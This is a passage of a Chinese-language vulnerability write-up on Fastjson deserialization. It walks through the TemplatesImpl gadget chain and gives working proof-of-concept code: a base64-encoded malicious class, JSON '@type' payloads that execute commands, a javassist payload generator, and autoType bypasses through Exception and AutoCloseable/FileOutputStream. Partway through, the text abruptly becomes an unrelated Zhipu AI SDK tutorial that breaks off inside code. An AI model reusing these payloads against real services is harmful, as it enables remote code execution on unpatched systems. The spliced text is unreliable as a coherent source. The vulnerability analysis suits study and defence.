alt="img](![image" width="100%" /> 虽然Java的`ClassLoader类`提供了`defineClass()`方法,可以把字节数组转换成Java类的示例,但是这里面的方法的作用域是被`Protected`修饰的,也就是说这个方法只能在当前包内访问,不能被其他包中的类访问,所以我们很难直接去调用它。 但是,我们可以看看这个方法有哪些地方调用到呢? 在`TemplatesImpl`类里面有个`defineTransletClasses`,不过也还是私有的。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/PFLng49R8xPEC30A.webp" alt="img](![image" width="100%" /> 再往上找,发现是`getTransletInstance`方法掉用了`defineTransletClasses`,不过还是私有的。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/eVlPYoHRwH3KH9Sp.webp" alt="img](![image" width="100%" /> 继续找,终于找到了一个`public`的方法`newTransformer`,而这个方法,是有当前类的`getOutputProperties`方法调用的,这个是什么方法呢?很明显,`getXxx`的获取属性的方法,这个方法通常是反序列化调用的方法。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/hB3mZovytZQLO66F.webp" alt="img](![image" width="100%" /> <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/LYk7icKIw9fRV50f.webp" alt="img](![image" width="100%" /> 看下fastjson是在哪里调用的,因为`Properties`是继承`Hashtable`的,所有FastJSON在调用时,会先调用`getXxx`方法获取到`map`数据,然后在调用`putAll`方法把JSON里的新的元素添加进去。这不就调用到了`getOutputProperties`方法了吗。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/yHNn1lZGvGV0wcI0.webp" alt="img](![image" width="100%" /> 至此完整的调用链已经形成: Fastjson 使用反序列化器解析字段 --> Fastjson 通过反射调用`getOutputProperties`方法 --> 调用 `TemplatesImpl#newTransformer`方法 --> 调用 `TemplatesImpl#getTransletInstance`方法 --> 调用 `TemplatesImpl#defineTransletClasses`方法 --> 调用 `TemplatesImpl#defineClass`方法。但生效也是有触发条件的:需要在Fastjson代码中配置`Feature.SupportNonPublicField`。 我们看下`TemplatesImpl#defineTransletClasses`方法的具体源码:它会先判断`_bytecodes`是否为空,如果为空,会抛出异常;如果`_tfactory`为为空也会抛出空指针异常。继续往下看,`_bytecodes`就是`.class`文件的字节码数组集合,这个类必须继承`com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet`,否则不会生效。然后会把类成员属性的`_transletIndex`设置成当前循环中的标记位,如果这个集合只有一个字节数组,那么标志位就是 0 。因此,我们需要通过反射的方式设置属性:`_bytecodes`、`_tfactory`、`_name`,这里的`_name` 就是类的名称。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/HINBlTpQCaKJA0Dg.webp" alt="img](![image" width="100%" /> 将刚刚的`Calculator`继承`AbstractTranslet`,然后改造下: ```java public class Calculator  extends AbstractTranslet {    public Calculator() throws Exception {        java.lang.Runtime.getRuntime().exec("open -a Calculator");   } ​    @Override    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { ​   } ​    @Override    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { ​   } } ``` 编译成`.class`文件,`base64`一下: ```java public static void main(String[] args) throws Exception {        String classBase64 = "yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAbAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBAA9DYWxjdWxhdG9yLmphdmEMAAcACAcAHAwAHQAeAQASb3BlbiAtYSBDYWxjdWxhdG9yDAAfACABAApDYWxjdWxhdG9yAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvbGFuZy9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAADgAEAA8ADQAQAAsAAAAEAAEADAABAA0ADgACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAAFQALAAAABAABAA8AAQANABAAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAABoACwAAAAQAAQAPAAEAEQAAAAIAEg==";        try { ​            final String classPath = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";            String json = "{" +                    "\"@type\":\"" + classPath + "\"," +                    "\"_bytecodes\":[\"" + classBase64 + "\"]," +                    "'_name':'Test'," +                    "'_tfactory':{ }," +                    "'_outputProperties':{}" +                    "}\n";            ParserConfig config = new ParserConfig();            System.out.println(json);            Object obj = JSON.parseObject(json, Object.class, config, Feature.SupportNonPublicField);       } catch (Exception e) {            e.printStackTrace();       }   } ``` 成功弹出了计算器 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/D0QGDighewiP6ArO.webp" alt="img](![image" width="100%" /> 再进行升级改造下,我们刚刚都是手动写一个`Calculator`类,然后手动编译,这个类其实也可以动态生成,我们可以利用一个开源的 Java 字节码操作库`javassist`来动态生成一个计算器类。 引入包: ```xml <dependency>  <groupId>org.javassist</groupId>  <artifactId>javassist</artifactId>  <version>3.22.0-GA</version> </dependency> ``` 通常我们需要将`.java文件`使用`javac命令`编译成`.class文件`才能正常执行,`javasist`是一个处理字节码的类库,它提供了简单易用的API,能够动态生成或修改`class字节码`文件,与 ASM 等其他字节码框架相比,`Javassist` 更加高层次,操作起来更接近于直接操作 Java 源代码。现在来简单学习一下它的常用用法: Javassist中最为重要的是`ClassPool`、`CtClass`、`CtMethod`、`CtField以及CtConstructor`这几类。 CtClass(编译时类): CtClass 是 Javassist 中用于表示 Java 类的核心对象,它可以用来创建、修改或操作一个类的结构和方法。 ClassPool(类池):ClassPool 是一个容器,存储和管理所有 CtClass 对象的实例。它类似一个缓存系统,用来加载和存储类的定义。 CtMethod(编译时方法):CtMethod 用于表示类中的方法,支持动态添加、修改和删除。 CtField(编译时字段): CtField 用于表示类中的字段,可以动态添加或修改字段。 CtConstructor(编译时构造器):CtConstructor 用于表示类中的构造器,可以动态添加或修改构造方法。 使用方法: ```java public static void main(String[] args) throws Exception {    // 动态创建类    ClassPool pool = ClassPool.getDefault();    CtClass cc = pool.makeClass("Calculator");    // 定义类的初始化块插入代码    String cmd = "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";    cc.makeClassInitializer().insertBefore(cmd);    // 设置类名    String randomClassName = "Calculator";    cc.setName(randomClassName);    // 设置父类    cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));    // 转位字节数组    byte[] bytes = cc.toBytecode();    String classBase64 = Base64.getEncoder().encodeToString(bytes);    try { ​        final String classPath = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";        String json = "{" +        "\"@type\":\"" + classPath + "\"," +        "\"_bytecodes\":[\"" + classBase64 + "\"]," +        "'_name':'Calculator'," +        "'_tfactory':{ }," +        "'_outputProperties':{}" +        "}\n";        ParserConfig config = new ParserConfig();        System.out.println(json);        Object obj = JSON.parseObject(json, Object.class, config, Feature.SupportNonPublicField);   } catch (Exception e) {        e.printStackTrace();   } } ``` 执行,成功弹出~ <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/njYRp1zL7xDTYqhb.webp" alt="img](![image" width="100%" /> ### 修复 在爆出了反序列化漏洞之后,在版本`1.2.25`Fastjson 就立即修复了这个高危漏洞,引入了黑名单的机制。我们吧版本升级一下,试着执行原来的代码。它会报`autoType is not support.`的异常。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/MosrPrkR8o0KPaBC.webp" alt="img](![image" width="100%" /> 我们来看下它引入了哪些黑名单: ```java bsh com.mchange com.sun. java.lang.Thread java.net.Socket java.rmi javax.xml org.apache.bcel org.apache.commons.beanutils org.apache.commons.collections.Transformer org.apache.commons.collections.functors org.apache.commons.collections4.comparators org.apache.commons.fileupload org.apache.myfaces.context.servlet org.apache.tomcat org.apache.wicket.util org.codehaus.groovy.runtime org.hibernate org.jboss org.mozilla.javascript org.python.core org.springframework ``` 具体就是上面那几个包名了。我们来看下它的逻辑,在`ParserConfig`中,有个`checkAutoType()`方法,如果没有开启`autoType`,就先判断类名在不在黑名单中,如果在黑名单里,就直接抛出异常。然后再去匹配白名单,如果在就用`TypeUtils.loadClass`加载。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/X82Lql1p2Yfy0dJk.webp" alt="img](![image" width="100%" /> 如果开启了`autoType`配置,则先匹配白名单,然后再去匹配黑名单。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/hxDpJroy6jsrV9rY.webp" alt="img](![image" width="100%" /> 如果反序列化的类名不在黑名单里,也只有开启了`autoType`或者`expectClass`不为空时才会调用`TypeUtils.loadClass`加载,否则`fastjson`会默认禁止加载该类。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/5YnPeRH8l7aAW603.webp" alt="img](![image" width="100%" /> ### 后续版本 其实从`1.2.25`版本之后的很长一段时间,网上披露了很多绕过黑名单的用于JNDI注入的利用链,我认为影响都是不大,原因有以下三点: 1)有的版本`AutoType` 必须要开启; 2)基于`JNDI+RMI`或`JDNI+LADP`进行漏洞攻击,会有一定的JDK版本的限制; 3)一些调用链还需要依赖第三方库,有的项目中可能不会用到这些。 不过感兴趣的同学也可以自已试下,看能不能注入进去。我这里也不打算详细说了,因为我也没有复现出来哈哈,可能是`JDK`版本的问题。其实原理都是一样的,看源码,找注入点。 #### 版本 1.2.42 在版本`1.2.42`中,在`ParserConfig.java`中将黑名单的类变成了hash值,应该防止知道类名而进行绕过。不过这些类名的hash都是可以爆破的,目前大部分的内容都已经被爆破出来了。 项目地址: [GitHub - LeadroyaL/fastjson-blacklist](https://github.com/LeadroyaL/fastjson-blacklist) <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/dBu2InSfxiyi1JOu.webp" alt="img](![image" width="100%" /> #### 版本 1.2.68 在这个版本中,引入了`safeMode`,配置`safeMode`后,无论白名单和黑名单,都不支持`AutoType`,可以有效地避免了利用`@type`进行渗透攻击,但是这个配置默认是关闭的。 不过这个版本也还是有反序列化漏洞的,可以实现在`AutoType`关闭的情况下绕过了`ParserConfig#checkAutoType()`的安全检查,但是这个漏洞的危害程度要小于之前版本的漏洞,具体还要看对应的服务的情况。 这个漏洞其实还是看`ParserConfig#checkAutoType()`里面的逻辑。 要想绕过检查,以下的几种情况可以通过 验证: 1)`autoTypeCheckHandlers`不为null <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/d6UEC5bTHOmqYc8d.webp" alt="img](![image" width="100%" /> 2)`expectClassFlag`不为null时不能为以下几个类 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/LZjdQOrO5BDk8myl.webp" alt="img](![image" width="100%" /> 3)在缓存`mapping`中的类 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/GpGe3MSg5YkOyXTi.webp" alt="img](![image" width="100%" /> 在`TypeUtils`的缓存中的都是一些基础的类 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/1cLMXSTZsDjBcTDY.webp" alt="img](![image" width="100%" /> 4)不在黑名单里的,但在白名单里的类 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/6Yt4uKzuYz5ucSVH.webp" alt="img](![image" width="100%" /> 5)类不能是是`ClassLoader`、`DataSource`和`RowSet`的子类 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/rwByRwTtzBBwnvEY.webp" alt="img](![image" width="100%" /> ##### 绕过方法(Throwable) 我们可以看到`Exception`类在缓存`mapping`里,因此我们可以构建一个异常类。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/PoETLhh7uoQXpGBr.webp" alt="img](![image" width="100%" /> ```java public class CalcException extends Exception { ​    private String command; ​    public void setCommand(String command) {        this.command = command;   } ​    @Override    public String getMessage() {        try {            Runtime.getRuntime().exec(this.command);       } catch (IOException e) {            return e.getMessage();       }        return super.getMessage();   } }    public static void main(String[] args) {        String a = " {\n" +                "           \"@type\":\"java.lang.Exception\",\n" +                "               \"@type\": \"org.example.CalcException\",\n" +                "               \"command\": \"open -a Calculator\"\n" +                "       }";        System.out.println(a);        System.out.println(JSONObject.parse(a));   } ``` 在`DefaultJSONParser.parseObject`里,检测到`key`是`@type`,然后会进行安全检测。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/ikoPl3DxJaQw3w1O.webp" alt="img](![image" width="100%" /> <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/m5l2M6Xd10X3Mv3N.webp" alt="img](![image" width="100%" /> 因为第一个`@type`是`Exception.class`,`Exception.class`是在`TypeUtils#mappings`缓存中,所以,直接通过了安全检测中,然后根据类名获取到反序列化器`ThrowableDeserializer`。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/ZKMddwQ7xXDgovm6.webp" alt="img](![image" width="100%" /> 然后在`ThrowableDeserializer`中,再一次进行解析,又匹配到了`key`是`@type`,再次进行安全检测,并且指定了`expectClass`为`Throwable.class`。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/xQmXWkzoiPAND6wi.webp" alt="img](![image" width="100%" /> 因为传入了`expectClass`,又因为`expectClass`不是限制的几个类,所以`expectClassFlag`为`true`,传入的`typeName`又不在黑名单里,只要继承自`Throwable.class`就能通过安全检测,然后返回一个`class`的实例。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/Q8pkyVFbsgATmOIy.webp" alt="img](![image" width="100%" /> <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/5eEWl5MOBGc0VL0b.webp" alt="img](![image" width="100%" /> 最后,调用`getMessage`方法,实现弹出计算器。不过上述的方法只是为了验证这种方法能够绕过安全检测,但事实上很少有人在异常类的用到危险的方法语句,所以这个方式可用性不高。 ##### 绕过方法(AutoCloseable) 我们可以看下`JavaBeanDeserializer#deserialze()`方法,其实它的逻辑和`ThrowableDeserializer#deserialze()`是一样的,都是指定个`expectClass`绕过安全检测。网上用的比较多的类就是`AutoCloseable`,因为它也是在`TypeUtils#mappings`缓存中,并且它的子类比较多,可操作性比较大。我们可以用`FileOutputStream`类作为其实现类。 ```java { "@type": "java.lang.AutoCloseable", "@type": "java.io.FileOutputStream",  "file": "/Users/gulihua/Downloads/1/2/test.txt",  "append": "false" } ``` 可以看到,文件被创建了。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/08P3WI0YBsylLRbs.webp" alt="img](![image" width="100%" /> 其实这个方法对`jdk`的版本也是有限制的,上面测试的版本是`JDK 17`,而在我日常使用的版本`1.8.0_402`报了默认构造方法没找到的异常。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/hh0ArIBMe3QkWp1H.webp" alt="img](![image" width="100%" /> 他会在构建`bean`时,会通过`ASMUtils.lookupParameterNames(constructor)`去找构造方法的参数签名信息,`JDK 1.8.0_40`版本是没有这些信息的,所以报错了。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/tLBCGpDYrO52ndw4.webp" alt="img](![image" width="100%" /> 可以用`javap -l java.io.FileOutputStream`看下有没签名信息,可以看下有没有`LocalVariableTable`信息。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/ixV8F6Cv5VdwBOd9.webp" alt="img](![image" width="100%" /> <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/qHfuWzzIMZdB0v0v.webp" alt="img](![image" width="100%" /> 因此这个漏洞是对 `Java 版本`是有要求的,实际生产环境中满足这个要求的版本还是比较小的,而且大部分都是`JDK 8`,所以要去寻找更加合理的利用链,比如使用流行的第三方库,需要满足以下条件: 1)这个类不在`Fastjson 1.2.68`的黑名单中 2)这个类实现了`java.lang.AutoCloseable`接口 3)保留`LocalVariableTable`参数签名信息 肯定是有一些第三方库是满足的,时间有限,我这里就不去尝试了,感兴趣的同学可以去尝试下。 ## 总结 以上就是一些`fastjson`比较知名的漏洞、修复、绕过的过程, 虽然在`fastjson v1`中有很多的漏洞,现在`fastjson v2`重构了`fastjson`,历史版本中存在的漏洞在新版本中均已修复,在安全性上有了很大的提升,我们在实际的项目中可以使用比较新的稳定版本。 我在写这篇文章时,参考了大量的资料,也读了关键的源码,学习到了很多的知识。`Fastjson`自己定义了很多序列化类,并且使用`ASM`技术、反射、使用缓存,并且用了很多的设计模式,并且在算法上也有优化,这个框架的核心就是`Fast`,在序列号和反序列化的效率比其他的库有一定的提升。 我在学习其他大佬写的漏洞分析文章时,觉得他们实在是厉害,对这些发现利用链的大佬们充满由衷的敬佩,不同版本之间的漏洞--修复-绕过-再修复展示了开发者和黑客们的攻防较量,实在是精彩 ~ ## 参考感谢 [https://github.com/alibaba/fastjson/releases](https://github.com/alibaba/fastjson/releases) [https://github.com/alibaba/fastjson/wiki/security\_update\_20200601](https://github.com/alibaba/fastjson/wiki/security_update_20200601) [https://www.cnblogs.com/CoLo/p/15832201.html](https://www.cnblogs.com/CoLo/p/15832201.html) [https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg](https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg) [https://www.cnblogs.com/zpchcbd/p/14969606.html](https://www.cnblogs.com/zpchcbd/p/14969606.html) [https://www.cnblogs.com/nice0e3/p/14601670.html](https://www.cnblogs.com/nice0e3/p/14601670.html) [https://www.cnblogs.com/CoLo/p/15832201.html](https://www.cnblogs.com/CoLo/p/15832201.html#reference) [https://www.cnblogs.com/nice0e3/p/14776043.html](https://www.cnblogs.com/nice0e3/p/14776043.html) [https://milkfr.github.io/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/2019/07/22/analysis-java-deserialize-fastjson/](https://milkfr.github.io/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/2019/07/22/analysis-java-deserialize-fastjson/) [https://zhuanlan.zhihu.com/p/544463507](https://zhuanlan.zhihu.com/p/544463507) [https://www.freebuf.com/vuls/178012.html](https://www.freebuf.com/vuls/178012.html) [https://zonghaishang.github.io/2018/09/30/Fastjson%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96(%E4%BA%8C)-%E5%86%85%E9%83%A8%E6%B3%A8%E5%86%8C%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E8%A7%A3%E6%9E%90/](https://zonghaishang.github.io/2018/09/30/Fastjson%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96\(%E4%BA%8C\)-%E5%86%85%E9%83%A8%E6%B3%A8%E5%86%8C%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E8%A7%A3%E6%9E%90/) [https://mp.weixin.qq.com/s/OvRyrWFZLGu3bAYhOPR4KA](https://mp.weixin.qq.com/s/OvRyrWFZLGu3bAYhOPR4KA) [http://scz.617.cn:8/web/202008100900.txt](http://scz.617.cn:8/web/202008100900.txt) [http://scz.617.cn:8/web/202008111715.txt](http://scz.617.cn:8/web/202008111715.txt) [https://github.com/LeadroyaL/fastjson-blacklist](https://github.com/LeadroyaL/fastjson-blacklist)

智谱AI-SDK入门实践之Java(保姆级教程)

<html> <head></head> <body> <div class="content ql-editor"> <p>大家好,我是影子,一名以Java学习为主,其余时间探索AI+编程的程序猿</p> <p><br></p> <p>今天跟大家分享一下智谱AI-SDK的入门用法,话不多说,我们直接开始</p> <p><br></p> <p><br></p> <h2>一、什么是智谱AI</h2> <p><br></p> <p>智谱AI(Zhipu AI)是一家致力于人工智能技术研发和应用的公司。该公司由清华大学背景的团队创立,专注于大</p> <p>模型技术的研究与推广。智谱AI在人工智能领域取得了显著成就,其发布的自研大模型GLM-4等产品。</p> <p><br></p> <p><br></p> <h2>二、SDK玩法</h2> <h3>(一) 注册账号</h3> <p><br></p> <p>进入官网(<a href="https://maas.aminer.cn" target="_blank">https://maas.aminer.cn/</a>),注册账号实名后,将会赠送<strong>有效期一个月</strong>的体验包。</p> <p><br></p> <p></p> <p><br></p> <p><br></p> <h3>(二) 查看自己的API Key</h3> <p><br></p> <p></p> <p><br></p> <p></p> <p><br></p> <p><br></p> <p><br></p> <p><br></p> <p>注意:我们常见的<strong><em>API_KEY和API_SECRET,这里采用了统一为API key,使用 .这个符号进行划分。</em></strong></p> <p>举个栗子:yingzix688.编程导航真不错。 (本人微信号:yingzix688,欢迎大家交流探讨)</p> <p>那么,<strong><em>API_KEY:yingzix688</em></strong></p> <p><strong><em>API_SECRET:编程导航真不错</em></strong></p> <p>大家只需要看自己的API key进行分割出来即可。</p> <p><br></p> <p><br></p> <h3>(三) 查阅官方github</h3> <p><br></p> <p>官方github地址:<a href="https://github.com/zhipuai/zhipuai-sdk-java-v4" target="_blank">https://github.com/zhipuai/zhipuai-sdk-java-v4</a></p> <p><br></p> <h4>引入依赖</h4> <div class="ql-code-block-container"> <div class="ql-code-block"> &lt;dependency&gt; </div> <div class="ql-code-block"> &lt;groupId&gt;cn.bigmodel.openapi&lt;/groupId&gt; </div> <div class="ql-code-block"> &lt;artifactId&gt;oapi-java-sdk&lt;/artifactId&gt; </div> <div class="ql-code-block"> &lt;version&gt;release-V4-2.0.0&lt;/version&gt; </div> <div class="ql-code-block"> &lt;/dependency&gt; </div> </div> <p><br></p> <h4>官方示例代码</h4> <div class="ql-code-block-container"> <div class="ql-code-block"> package com.zhipu.oapi.demo; </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> import com.alibaba.fastjson.JSON; </div> <div class="ql-code-block"> import com.fasterxml.jackson.annotation.JsonInclude; </div> <div class="ql-code-block"> import com.fasterxml.jackson.core.JsonProcessingException; </div> <div class="ql-code-block"> import com.fasterxml.jackson.core.type.TypeReference; </div> <div class="ql-code-block"> import com.fasterxml.jackson.databind.DeserializationFeature; </div> <div class="ql-code-block"> import com.fasterxml.jackson.databind.ObjectMapper; </div> <div class="ql-code-block"> import com.fasterxml.jackson.databind.PropertyNamingStrategy; </div> <div class="ql-code-block"> import com.zhipu.oapi.ClientV4; </div> <div class="ql-code-block"> import com.zhipu.oapi.Constants; </div> <div class="ql-code-block"> import com.zhipu.oapi.service.v4.embedding.EmbeddingApiResponse; </div> <div class="ql-code-block"> import com.zhipu.oapi.service.v4.embedding.EmbeddingRequest; </div> <div class="ql-code-block"> import com.zhipu.oapi.service.v4.file.FileApiResponse; </div> <div class="ql-code-block"> import com.zhipu.oapi.service.v4.file.QueryFileApiResponse; </div> <div class="ql-code-block"> import com.zhipu.oapi.service.v4.file.QueryFilesRequest; </div> <div class="ql-code-block"> import com.zhipu.oapi.service.v4.fine_turning.*; </div> <div class="ql-code-block"> import com.zhipu.oapi.service.v4.image.CreateImageRequest; </div> <div class="ql-code-block"> import com.zhipu.oapi.service.v4.image.ImageApiResponse; </div> <div class="ql-code-block"> import com.zhipu.oapi.service.v4.model.*; </div> <div class="ql-code-block"> import io.reactivex.Flowable; </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> import java.util.ArrayList; </div> <div class="ql-code-block"> import java.util.HashMap; </div> <div class="ql-code-block"> import java.util.List; </div> <div class="ql-code-block"> import java.util.Map; </div> <div class="ql-code-block"> import java.util.concurrent.atomic.AtomicBoolean; </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> public class V4OkHttpClientTest { </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> private static final String API_KEY = ""; </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> private static final String API_SECRET = ""; </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> private static final ClientV4 client = new ClientV4.Builder(API_KEY,API_SECRET).build(); </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> private static final ObjectMapper mapper = defaultObjectMapper(); </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> public static ObjectMapper defaultObjectMapper() { </div> <div class="ql-code-block"> ObjectMapper mapper = new ObjectMapper(); </div> <div class="ql-code-block"> mapper.configure(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES, false); </div> <div class="ql-code-block"> mapper.setSerializationInclusion(JsonInclude.Include.NON_NULL); </div> <div class="ql-code-block"> mapper.setPropertyNamingStrategy(PropertyNamingStrategy.SNAKE_CASE); </div> <div class="ql-code-block"> mapper.addMixIn(ChatFunction.class, ChatFunctionMixIn.class); </div> <div class="ql-code-block"> mapper.addMixIn(ChatCompletionRequest.class, ChatCompletionRequestMixIn.class); </div> <div class="ql-code-block"> mapper.addMixIn(ChatFunctionCall.class, ChatFunctionCallMixIn.class); </div> <div class="ql-code-block"> return mapper; </div> <div class="ql-code-block"> } </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> // 请自定义自己的业务id </div> <div class="ql-code-block"> private static final String requestIdTemplate = "mycompany-%d"; </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> public static void main(String[] args) throws Exception { </div> <div class="ql-code-block"> System.setProperty("org.slf4j.simpleLogger.logFile", "System.out"); </div> <div class="ql-code-block"> // 1. sse-invoke调用模型,使用标准Listener,直接返回结果 </div> <div class="ql-code-block"> testSseInvoke(); </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> // 2. invoke调用模型,直接返回结果 </div> <div class="ql-code-block"> // testInvoke(); </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> // 3. 异步调用 </div> <div class="ql-code-block"> // String taskId = testAsyncInvoke(); </div> <div class="ql-code-block"> // 4.异步查询 </div> <div class="ql-code-block"> // testQueryResult(taskId); </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> // 5.文生图 </div> <div class="ql-code-block"> // testCreateImage(); </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> // 6. 图生文 </div> <div class="ql-code-block"> // testImageToWord(); </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> // 7. 向量模型 </div> <div class="ql-code-block"> // testEmbeddings(); </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> // 8.微调-上传微调数据集 </div> <div class="ql-code-block"> // testUploadFile(); </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> // 9.微调-查询上传文件列表 </div> <div class="ql-code-block"> // testQueryUploadFileList(); </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> // 10.微调-创建微调任务 </div> <div class="ql-code-block"> // testCreateFineTuningJob(); </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> // 11.微调-查询微调任务事件 </div> <div class="ql-code-block"> // testQueryFineTuningJobsEvents(); </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> // 12.微调-查询微调任务 </div> <div class="ql-code-block"> // testRetrieveFineTuningJobs(); </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> // 13.微调-查询个人微调任务 </div> <div class="ql-code-block"> // testQueryPersonalFineTuningJobs(); </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> // 14.微调-调用微调模型(参考模型调用接口,并替换成要调用模型的编码model) </div> <div class="ql-code-block"> } </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> private static void testQueryPersonalFineTuningJobs() { </div> <div class="ql-code-block"> QueryPersonalFineTuningJobRequest queryPersonalFineTuningJobRequest = new QueryPersonalFineTuningJobRequest(); </div> <div class="ql-code-block"> queryPersonalFineTuningJobRequest.setLimit(1); </div> <div class="ql-code-block"> QueryPersonalFineTuningJobApiResponse queryPersonalFineTuningJobApiResponse = client.queryPersonalFineTuningJobs(queryPersonalFineTuningJobRequest); </div> <div class="ql-code-block"> System.out.println("model output:" + JSON.toJSONString(queryPersonalFineTuningJobApiResponse)); </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> } </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> private static void testQueryFineTuningJobsEvents() { </div> <div class="ql-code-block"> QueryFineTuningJobRequest queryFineTuningJobRequest = new QueryFineTuningJobRequest(); </div> <div class="ql-code-block"> queryFineTuningJobRequest.setJobId("ftjob-20240119114544390-zkgjb"); </div> <div class="ql-code-block"> // queryFineTuningJobRequest.setLimit(1); </div> <div class="ql-code-block"> // queryFineTuningJobRequest.setAfter("1"); </div> <div class="ql-code-block"> QueryFineTuningEventApiResponse queryFineTuningEventApiResponse = client.queryFineTuningJobsEvents(queryFineTuningJobRequest); </div> <div class="ql-code-block"> System.out.println("model output:" + JSON.toJSONString(queryFineTuningEventApiResponse)); </div> <div class="ql-code-block"> } </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> /** </div> <div class="ql-code-block"> * 查询微调任务 </div> <div class="ql-code-block"> */ </div> <div class="ql-code-block"> private static void testRetrieveFineTuningJobs() { </div> <div class="ql-code-block"> QueryFineTuningJobRequest queryFineTuningJobRequest = 